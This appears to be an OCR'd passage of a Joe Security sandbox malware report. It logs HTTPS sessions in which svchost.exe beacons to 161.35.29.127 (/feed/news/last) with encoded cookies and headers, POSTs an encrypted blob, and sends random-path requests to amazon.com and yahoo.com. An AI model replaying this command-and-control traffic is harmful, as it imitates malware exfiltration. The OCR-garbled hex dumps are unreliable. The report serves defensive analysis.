11 d7 b4 27 98 50 a2 e6 55 44 6d 0 12 8f 12 ec e7 03 9d e5 69 ca c3 b6 a4 a2 35 2¢ 1b 7d 57 df 2a 08 19 9c 92 65 6d c7
4a 16 a5 8f e4 1e b6 82 2¢ d5 94 Oc 45 58 €0 6a 07 99 03 6¢ 93 85 27 ce 53 eb Oe b4 8e 4e €9 81 9c db 10 05 49 03 5a al
b1 9e 85 d5 f2 17 ba 01 fd Oc 3a 52 b9 18 99 92 a9 29 11 d2 6b 09 23 01 97 26 24 7a d1 91 73 ae 9d Oa 23 53 55 39 1f a2
26 93 41 ce Oc dc 50 cd b0 84 f7 1d aa db 47 1b bd

Data Ascii: >ot'fas15[]jx}$U/)6U1"-9e 7%V Xy9X @dGX>53L9]IaV) PUDmi5, }W+emJ, EXjI'SNIZ:R)k#&$zs#SUIRAPG
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kBytes
Timestamp transferred

2021-09-28 07:53:44 UTC 892

Session ID Source IP

80 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:27 UTC 1068

2021-09-28 07:54:29 UTC 1076

2021-09-28 07:54:29 UTC 1078

Session ID Source IP

81 192.168.2.3

Copyright Joe Security LLC 2021

Direction

IN

Source Port

50040

Direction

ouT

Source Port

50041

Data

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Connection: close

Date: Tue, 28 Sep 2021 07:53:44 GMT
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block

Destination IP Destination Port Process

161.35.29.127 443 C:\Windows\System32\svchost.exe

Data

GET /feed/news/last HTTP/1.1

Cookie: HSID=EzgzAfMqZKYbr5VdoRwymiw%2FNBZpu3g6Gvec3X7byc8aHTWvI2H%2Bf9xf991VIiXOFsab5RCOw
%2BKTCNV41R{%2FRiie6JtwnO4N9244bJ8yqaq9Xuoflv86 TLhmKCh2N8nUZOuNm%2FwWgsSKIW1lezvHigX4LbxzBS
0zEDOdqgshe%2Bt2M%2BY7%2FIkyGHqIXxQKSIMRg5nNm08Z%2F6rrqZS%2BNUILB4bYfrO0G%2FJbloevDD7YzOHPS0
A4rXuu5YLxwCPb4YR4FnXn72RrTCCOSuZBkoNfz3yQ%2FOi0aOwd7cmJaNBo63scfa3ZIT8CMx7Ez9u3G38CC31GNS
0xN3vnZUMEyYKz5L08AA%3D%3D;SIDCC=%2BufYfThO4wCmVHh5IAT%2Bi1UwojOtrqrMWpjRLovVhjPHKAECi6XQae
%2B5iSRpKs76aZTVrBlbmanckmyE5mNySF8Qvz4nlcr4rsEp%2BVG7gTm1AN%2F%2BCBQM3wVRacfDhIUwAp5Pilnl
n8E%2FgrNKa3zVc1Fcp8GuFx8%2B0bhSthcgKd9s7RWvgrwEr8nx%2FVhQug8FxlusD66BFpMOtjBIj3I0KZvK%2B
XzZI0V56gMblg0x3jZbhEWB8gWn%2FtDsw0Q03uMa0gH6tOLOUN30Gpfi%2B2aYcEbnjwHBEykFOb052Wal. GWTye2FD
ROhhFcgHOMF645J1zIDbx7gCJLOXbrHFO3UVpg%3D%3D;SID=yRCpQuxMv1jFI7EFAIKloxx4LsprVjsyCfOtQGBmS
G%2Bx%2F4ejKLLg07xFgB2gVSNEdIFT%2BfU2Q8a21JfXa3%2B%2BjTJ6%2BFIKUNPCI0OgpmKESssSuAAb0J4M0JtQ%2
BOyRGn%2BB6zKRH00gJs2fm%2BaOUo03UPDBJIFW%2BVIbZ%2F20CnNOwO0cQLYCGIzgfetSVgmDb5BXqgrn
V8QhPPYyyG%2F%2FDaxtbAFjjcl8pkqSnz1Ae880ZsPLtApIC8NozhgmeRAmMabDn3sX%2BBHyb%2B99%2Fjf6NIuPff7
zRUaiUfqgAXaQ%2FAcwBsJseY6z7E0AN7fyZUzEJ9%2BIRiIVIPOSMqWwipTTLI9cLO9vil2Sj9Z819%3D%3D;SSID=I
DKMuWe%2BPcm%2F%2BncSPrrVgbR38ixAVK96x6mLEINDEZIwTTgc8rOWHY%2FNIsEe6eFErKb97yKuL TrOuvbnBvpy
uaxW8kkxNTMNBTFqq5dp%2BgkmCfUTraY GbemZ00MGhfBhdesQK%2BXDF%2FSPxNSy4uJz2BcETV8krY
JGseFSopCUNI2ADyxwaWH%2FGdTKaJUBMWTKe7LOIT5SMgqg803UBxIgpE2mndU41%2FRqYfMMHagjeteRws5SAp5rf
09VLxueljQ1lp4ZM11PC8WILIRCCYD4wShTkcjsE%2FcGuF0tbT8gPzE%2F%2BOFaR52jShibbfQPsSNnY5jrCL1eXnS
fdsxUmG1gnQuuQw%3D%3D;

X-Tag: mf9iuNVA%2FQFBGj8nDyjObokp34sENOV%2B%2FsCMtMYnt%2F2A4szVVePt2B6WCpgTEpyT1ziV11y5TOe
NzohLj3XS%2BTHZkGCu06K9qBBBYMnoV9rIDpswbEEWBGCEJI1%2B35hgEMwW5%2FLSEVIUVMmMH4p00%2
BuQXc0B3xbsMmT4v1DFrSfFewQszeskRCIQQI5fp%2B3tQKgfTandgCpZ%2Ba6gh4nRDu31Jq9LORHLzbxxJ6 TbKAp
KL21UPHQgNyn41glvFd6LMz8W7s381z298%2FDNrtZakfPiyXcf%2BWPeld3r1t3jziVB1GINMP64tR3FLVN%2BIgK
a9r0bSjxiscVmDDA1RwWIIUW2Q%3D%3D

X-Csrf-Token: wqP3DtPg7g7Ju%2BZNRSWtAUUYE2nUP7uV2fZrO8CCW7eazWz2t0xcdRpYkbpx7NrCV92Z73rYbc
%2FtlcKfnF54C8aLNEH5IMMvbAzOXgnsHTDuU2J3tQ7NvkKPOOQ9STBRbCh7HKSWziaxzXQGbyUujirb9XmkI5tIf1J7
S7w8Jb0%2BGIWrmc%2BsERDHIEB26f2HhhCKIEdALpxoFYsFO0JUFkfjW8NvkxiyHBwg3AAOMvivulXz1SJEiHCgohH
gFORZgGToPIOFV%2BINGWFK4L1alAOVLsu%2BGW31RZIL7YDHPGtDobgLKghAfNJIpcpgPOODjWIUXV3U
VKUgCYXP2qd0%2FS7129%3D%3D

X-Request-ID: R2uCdhO4DIUh1v0kdli47jkknWRk5476qNzb%2FfX6DuSgg578AEIXDFMROrB%2FVXarsdHD%2Fn
jvLnCU%2B9Q0clIpD1xzkqlqjLf9VebuimyrgRvVSUNBWKUhEYsSRIVYLpKgXZyuwZBUyN5VvdpjhEecrlhhg9EVMMENA
1yQqZtyLL8d3SAK6L6I3W%2FCYey7PYECQmrAciMLdrKslue8aSx4QJ39Hv4SFZoENISNSmLeeSxn0%2FKeV9QCwtl
6KUMzRHWEZy4%2BrPb2xPILVEL62YC4001ErahYLYZDv2FKZfs2%2BmE%2FGW898mp4jvaWuDSSFT5J5
3xGIBBShnkv4HT0zsWWP8q89%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: 161.35.29.127

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)

Content-Type: text/html; charset=UTF-8

Content-Length: 2

Connection: close

Date: Tue, 28 Sep 2021 07:54:29 GMT

Set-Cookie: SVALUE=2NreYzXG7EKLxVbxVINeQmcpS09z1DB1EynlzgHPcjDIKARoMdB3vejHsO4VMnDFJuiM5LK
ElkaB4tX9JGL4nQXxjsAhmG8azZkG9Tcx215XSDfIgX25INm9jY NOwe5pbzPbUgvUTAUACIhfDOADUTYEcPM5Wrvei2
80XRFAM3kWY 1yruk2m5iYmTjparzUcuY9FUjO3zXqTjgxQ50NESGLVXuJi8hriP941gK3prrCzdJW5BXShZ9K5Y Xcj
2mgkQ

Set-Cookie: actual=cAbVLVCPROx%2BvDtGFq8yP3AnG%2BDGDBoWsaqckG6I6NHghglhDGC%2FQrg2QrkvUWAT70
RWgT9f3YPD8bDVB3ZR2wJ2R9IMgyBrUBzPsaC5CJrew%2FVNGoPKgqWXvh1TLVWEU5hOAZVAXHYi%2F7DrF5Jg9U4la
4AjI0Rs5rbPgN5C4zkj1TIOPXmRCZ76Q1QqU1gpvQyUtzIHC580gnvFAIL%2FiZLQPdpSX4sdadwdWiVjBUX0coztF
nZ9vmrarLOOtqfX1gsYQVKMw7IjBFO13SR%2Fw7qjldGqO2yNiBg5aZN%2BDWtVOLddcnBk4HaljEuTjcrqgFekKu87
509G2114fADJID0rQ%3D%3D

Set-Cookie: query4=780395

Set-Cookie: bdata=1C201C2ULNDvnrzgSFICrawhJ9J7wzcLpTiPHsmm7PRogGKOKKgM279Rp7DSjIVQCIXnjvs1
OFG5IgLgQIXGYwqrimGa5J8UAKMKIdQvXTCx0SzMbZgEOQpNpMugPGLmMIM6ECIXFS9efsdhZrAdt8ZIRMxJZyYgbnEm
gibcSyD8wc2bRG4qgURNW3s4lICLDzZCsZusJ4jkxBN7Xeex|7zzgXby8XB2R4cmEIgTEsnXehZXZWjrO41QGfIIZRkrwn
X-Frame-Options: DENY

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Data Raw: 4f 4b
Data Ascii: OK

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe
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kBytes
Timestamp transferred

2021-09-28 07:54:27 UTC 1071

2021-09-28 07:54:27 UTC 1071

2021-09-28 07:54:27 UTC 1072

Session ID Source IP

82 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:28 UTC 1073

2021-09-28 07:54:28 UTC 1073

2021-09-28 07:54:28 UTC 1073

Session ID Source IP

83 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:28 UTC 1074

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50043

Direction

ouT

Source Port

50044

Direction

ouT

Data

GET /n5d35x62wrKVagpbThsyV7bDux5zg462fhuulkey7Ny/nu4qWV5IvP2p22Yeb6iWmflfm4pocOdpToemhbsoKc4K87/
HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:27 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: TA2Z3BOY0J6WYP2E4ZGF

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d {7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 Oa 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8¢ 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+,Yt=K{"(.W]}n"u=Pa9n{]1+: Ch[ *"kz<{VJIZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*jvOhu

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /6u0kzsl7ryto97pk2xdn8o5s60gbkqVFQ2Kv8KOCWS5Iij/HY buzkotCBtgM8H04tZ9djci5vofm0lyh/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:28 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: 536SSX8NQOR50ASGH55Q

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip”

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache, X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18.d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d {7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3¢ 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a 6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+, Yt={"(.W]in"u=Padn{]1+: Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /kt8rj5729zg8dcKdUobze7/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-09-28 07:54:28 UTC 1075

2021-09-28 07:54:28 UTC 1075

Session ID Source IP

84 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:29 UTC 1076

2021-09-28 07:54:29 UTC 1078

2021-09-28 07:54:29 UTC 1079

2021-09-28 07:54:29 UTC 1079

Copyright Joe Security LLC 2021

Direction

IN

Source Port

50045

Direction

ouT

Data

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:28 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: 9VI3CIZF1FIFSM5RQQT6

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 ¢9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d 7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d 5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+,Yt=I{"(.W]}n"u=Padn{]1+:"Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=| X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /fbxa75FaGsf4japtkVc631567ux59Tmg9gGVZdkgab4ampvva/aaiQlj7pvwbqosjizkzMdMO36pfgo5Reqy6gmchRDby/jw
aicOalfprdiluVcafholcqe48iz44kzekpQk/tdyh55adnnybrolX6mcjho9vOb8g6evg6bghbhslhsadnd4C/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:29 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAI IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBIi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 10

server: ATS

Content-Length: 936

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.oath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=46r9oltgl5ihl&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 32 39 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72742d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:29 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6¢ 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 66 62
78 61 37 35 46 61 47 73 66 34 6a 61 70 74 6b 56 63 36 33 6¢ 35 36 37 75 78 35 39 54 6d 67 39 67 47 56 5a 64 6b 71 34
6234 6d 70 76 76 61 25 32 66 61 61 69 51 6¢ 6a 37 70 76 77 62 71 6f 73 6a 69 7a 6b 7a 4d 64 4d 4f 33 36 70 66 67 6f 35
52657179 36 71 6d 63 68 52 44 62 79 25 32 66 6a 77 61 69 63 4f 61 31 66 70 72 34 69 31 75 56 63 34 66 68 6f 4c 63

71 65 34 38 69 5a 34 34 6b 7a 65 6b 70 51 6b 25 32 66 74 34

Data Ascii: <html><meta charset="'utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fww
w.yahoo.com%?2ffbxa75FaGsf4japtkVc63156 7ux59Tmg9gGVZdkg4b4mpvva%2faaiQlj7pvwbgosjizkzMdMO36pfgo5Reqy6
gmchRDby%?2fjwaicOalfprdiluVcafholLcqe48iZ44kzekpQk%2ftd
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Session ID Source IP

85 192.168.2.3
kBytes
Timestamp transferred

2021-09-28 07:54:29 UTC 1080

2021-09-28 07:54:29 UTC 1083

2021-09-28 07:54:32 UTC 1093

Session ID Source IP

86 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:29 UTC 1083

Copyright Joe Security LLC 2021

Source Port

50047

Direction

ouT

ouT

Source Port
50048

Direction
ouT

Destination IP Destination Port Process

161.35.29.127 443 C:\Windows\System32\svchost.exe

Data

POST /feed/news/last HTTP/1.1

Content-Type: application/octet-stream

Cookie: HSID=0dZG7kmooMYb0ZIQQknh5%2B2XKttCocYFT%2FulYb7HOIINBgVMOLKnPUIj5ulx%2F6401R1bZeS
froGKG6wvyASbxICKTRbN829GFdoYXbDulSZOWsSdZm4%2F9Y QgkFjvdxMcc%2FIWTfsQl4n2a06nGkkWMQy%2FTI9
RIXUNVIr7GPVk2%2B5GBQxpJgwHA1LHmMs%2B0xVSpW2uPOOjPhvcve5He5p%2B9xDshljinWJIhkWMulEg
UXS%2BzK%2FaBkBEpSQOkCvHUa79mYRhbOVwdOBXSgv%2F7CJ5vZqssMuL8BsDwAI9leQsIPOAOFOoWt
a30SUPCozENT56HuBgaLYCT5bTvptHx990y1CVQ%3D%3D;SIDCC=8UQK%2FQdkJCXHsKi8gB1WPexqjm
BfVIPNHAGKOU2WKOEV3AgmwX%2Bjkp4usB6ZeakalghBWOJZ5YwDgqDv3APWI8884DnFcysej%2FjakQHIpRc1lICX
RIyIxI3Y19mfYtbegkAyVXTy1lIVLWqA4TXegR0%2BvDKINPif%2FhgoVITKKLKb56rdA6gAmImJugWxRbCiW%2B9iC
SOE05pGGEJ768rnHeel5gIDhIk0Ih6lwdokj5X1juH7nQVcOLY0i4JgWvz5btoyaO5SspRzzsuKAveCUyLQes9Kc7v
VvPPggZ904p0ynDgupVRdIGI%2B7%2BUkcIXDt6fzX24W%2BBHFIPLhqVwCntJA%3D%3D;SID=nD%2FbQoFX%2FNtVV
AB9C52FmSurA6tJFL9BNia4%2FzQqJSCGcsT6Fw1Z02%2BoG2AkSaKb6%2Fu202IbLntnQiKo033QQJIIXMgKGKPL%2
Fa%2FJBChUpC4Z%2B%2F%2FF6xXKsgtlbinHHAfiDGIPWCAIIN83E29hLRoxeEG%2FUvSSLYB1YR66%2BUOtSLT4SY
T5cjGWQyeV%2Bf4B2%2Ftd3p6qnG2Vu4VSIVCVdkGpOg8IFIS79L9yAXLIBcCRHO6sa98R0Oyzg9CYHs%2Be%2FszhBy
Fpl97dipiluj6 W3IATNnHNWEWU52%2B2ep9%2B58Rqt8KB9eWKSYANY%2Fpc7%2BZKCnM8CYYu5j0CqQo
JbmNgMuPvoj5LBw%3D%3D;SSID=4Dd6émyd|Zv%2BnnRseeQ6aUJcccU9g0TF0%2B3cr5UEL7%2FPVzvsI3zudlbnu%
2FZw0pyO6HpDs3DxVirsHVLGS9fmcytqn22Tz3CIRkw39KgixkY FyMGEdunpkpFYLz84%2Fjfw7xZ6%2FTUSKGGEQ5
FuNLHgI5QS6JEMRa24TnVhzPImRZbieSAeAgbAwdGriczEWBYxOyygWVXGhNRBLs%2BKBcBcjEmfo6v32802bfx99d
KfmpeRtD20SZEQYhN04wXZsbnJgtw8rh01yAkINwDr3mebNAWr%2BG%2Fy06Pe2frPXvjOgEFE8EwWyYC0i%2FZurbTC
2uoMhNcNgsLIgLpzhAgmIVNQgjb2A%3D%3D;

X-Tag: b45sn7zM%2B0YVR7V7SpPseb20zvDoYZd6RDYz7DmzIDI0gLxuPu26fspzsM07dHp2Gcd9ckh14Aqg%2FOP
gR%2BAli7LoskqWjb4EeDduuDz\W7%2B9XhvKULosCjDxgLsE%2F2f31zFiQ179ivXF9gzoZaNQMxWLHIKQpMGLWUPV
ctFpHZIjHUXvn3vbPjfha%2Bsg1KM%2FA4DByJAILQHPOXHGhN%2Fww32j0JIXHLzZMgNVno2hTAPpZX3cKJIXIUxv5y
cGgcLKaj7LDypm%2BOxzDtdHWHAdIb2ilCoTGqSX8aVYdSv48QJ0o0llodyZvHLKEINZw5dcSIbcBamInRLK%2Fv%2F
2wkUPmv2089%3D%3D

X-Csrf-Token: Zcv7pjGOVIadC2F1PY9IT7p8IARY %2Frtk4%2Fqzc5fIMmMP19VoQj5V0ctS3BA4cutUyX2wvy1Jy
cRLE%2BoQBXwrgYjFDeNCMIgFKqukbmjV7OAW7dDRAN%2BhvgcOWRqoT7E82aT%2FIdDWQQIM1CflInNuaSkjtwBiXn
xc%2FPN6a9CTB0OJI%2BmgAz8Q4AchbexWiRFfOkQejREDIZoWweWYxX9jQxmjGNtPcHcW1xxxs%2FOJ2NxIDcfrezFw
oU2saKicpEmYIscrvutHm991A9RY DiwHSEEOWbfNOWGLGzY CmAIYK4%2BzcaD6legwQOiSSwUNDKWNULWi090zq2tR
6|HEaKESYO0tVMA%3D%3D

X-Request-ID: JI50aWvVMBRCY3bZ0GF6%2BMC36c3nlgS7IHMgDQaR1pl4jY1qVG5eDgojWQXQmKA4619BLWXVF4Axs
GskT7xEktJIUT9JeKAB6Y04dOfaTIuC7px6gPFbHHIX%2B0XnH3MSZP4peD614f1gZ62F30yteCbuT2ThinYOpMnuz
eL.30IXgRDQEQUWTCcTCPt8h6fi0FOmM5gHUpMzc%2Bjmmzm%2BoF5qkNOJE%2BPgxRvzwyY X1ZIxahokwj1jABpU3bvj
WiG6nMpUwgZCxWARXIXIWN7K7KsH367WVYZENOYIKZ%2F7mtQTFyB16jLq%2F%2BFvK2h1ZcTqOEQbO6
84FFBW6K27KIKemrYInmvw%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: 161.35.29.127

Content-Length: 256

Cache-Control: no-cache

Data Raw: 6e 2f 71 c1 43 1c ea f2 db b1 76 57 d1 21 2e c5 c8 03 36 6a a8 eb 93 e3 5¢ d7 80 92 e8 d5 cb da 3c 15 fe 58
eb a2 a8 ea 73 7add cO 7d b6 ad Oa f3 95 c3 81 28 1b fe fb 47 ab ca d7 df 7e 75 a2 2c fc 9e be 21 92 1e Ob 1a 92 bb 7
15 7a 90 4c fb 2e 72 dO 7f ef 00 62 b5 61 2c f8 5e ¢6 10 19 07 a6 7e e2 3b 03 53 fc b9 8e 77 ac 70 8e 7d 55 93 47 9d el
96 b8 1e 98 d3 52 34 95 14 da 79 75 3a 46 53 dc 19 7b 6a 8d 31 25 04 dc 03 58 67 76 a8 06 23 1d 97 b1 c7 9d 4d aa 7a
1a 2f 69 06 85 09 f3 63 89 16 a2 fc €7 bd 52 7e cb 1f 22 70 a6 ab b5 78 ba ea Oe e0 4a 2f 33 86 78 c2 44 ec b6 17 a5 43
7 3b 24 e8 5b 48 ¢7 60 20 78 d1 04 d2 73 43 de fa dc 26 dd 9c cc 4e 0d 7e cc 4f 1e 45 93 4c a8 8c bb Oc 93 81 2e 3b 65
2e 5e c9 bl 3e 6b a8 e2 e3 a9 6b 8b d5 38 69 03 aa 9b 8d cf

Data Ascii: n/qCvW!.6)\<Xsz}(G~u,!zL.rba,"~;Swp}UGR4yu:FS{j1%Xgv#Mz/icR~"pxJ/3xDC;$[H" xSC&N~OEL.;e.>kk8i

